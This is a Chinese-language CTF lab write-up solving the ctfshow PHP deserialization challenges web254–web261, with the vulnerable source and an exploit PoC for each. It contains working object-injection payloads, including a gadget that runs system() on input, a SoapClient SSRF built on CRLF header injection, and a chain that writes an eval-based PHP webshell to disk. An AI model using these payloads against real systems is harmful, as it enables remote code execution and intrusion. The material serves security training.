CTFSHOW-WEB入门-反序列化

web254

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

在这里没有反序列化，当传进去的值与类里的变量一致isVip=true。然后就得到flag。

传入：?username=xxxxxx&password=xxxxxx

web255

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

要传进来的username和password与cookie反序列化的相同就行。

poc:

<?php

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx'; 
    public $isVip=true;
}
echo urlencode(serialize(new ctfShowUser()));

cookie中将"作为截断符号，这里用url编码一下绕过

Get： ?username=xxxxxx&password=xxxxxx

Cookie：user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web256

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

这题跟上题一样。只是username要与password要不相等。

改一下poc

<?php

class ctfShowUser{
    public $username='xxxxxx';
    public $password='1'; 
    public $isVip=true;
}
echo urlencode(serialize(new ctfShowUser()));

Get： ?username=xxxxxx&password=1

Cookie：user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%221%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}
$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

这里涉及到两个魔术方法。

__construct()//创建对象时触发

__destruct() //对象被销毁时触发

poc:

<?php

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code = 'system($_GET[1]);';
}
echo urlencode(serialize(new ctfShowUser()));

Get: /?username=xxxxxx&password=xxxxxx&1=cat%20flag*

Cookie: user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%24_GET%5B1%5D%29%3B%22%3B%7D%7D

web258

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

这题跟上题一样，只是private改为了public。加个加号绕一下正则就行，需要url编码一下。

web259

__call的触发条件的是：

当调用对象中不存在的方法会自动调用此方法 。

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);

if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}

题目给出flag.php的部分代码。大概逻辑就是让xff为127.0.0.1时，传入token=ctfshow得到flag，这里伪造xff失败了。

进入题目

<?php

highlight_file(__FILE__);

$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

这里只有一个反序列化，没有其他代码。

因此这题需要利用原生类的反序列化来实现SSRF，SoapClient原生类的反序列化

​ SoapClient采用了HTTP作为底层通讯协议，XML作为数据传送的格式，其采用了SOAP协议(SOAP 是一
种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息)，其次我们知道某个实例化的类，如果
去调用了一个不存在的函数，会去调用 __call 方法 。

xff要array_pop两次,取第二次的值赋值给$IP

CRLF注入攻击

CRLF是“回车+换行”（\r\n）的简称，其十六进制编码分别为0x0d和0x0a。在HTTP协议中，HTTP
header与HTTPBody是用两个CRLF分隔的，浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以，一旦我们能够控制HTTP消息头中的字符，注入一些恶意的换行，这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。

根据请求包构造一下就行。

<?php
$a = new SoapClient(null,array('user_agent' => "aaa\r\nx-forwarded-for:127.0.0.1,127.0.0.1\r\nContent-type:application/x-www-form-urlencoded\r\nContent-length:13\r\n\r\ntoken=ctfshow",'uri' => 'aaa','location' => 'http://127.0.0.1/flag.php'));
echo urlencode(serialize($a));

web260

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

无话可说直接poc吧：

<?php

echo urlencode(serialize('ctfshow_i_love_36D'));

web261

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法，则只有 __unserialize() 方法会生效，__wakeup() 方法会被忽略。

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

__destruct()这里的$this->code==0x36d，0x36d是数字型，而且是弱等于，可以绕过。

0x36d=877

poc:

<?php
class ctfshowvip{
    public $username;
    public $password;

    public function __construct(){
        $this->username=$u='877.php';
        $this->password=$p='<?php @eval($_POST[1]);?>';
    }
}
echo urlencode(serialize(new ctfShowvip()));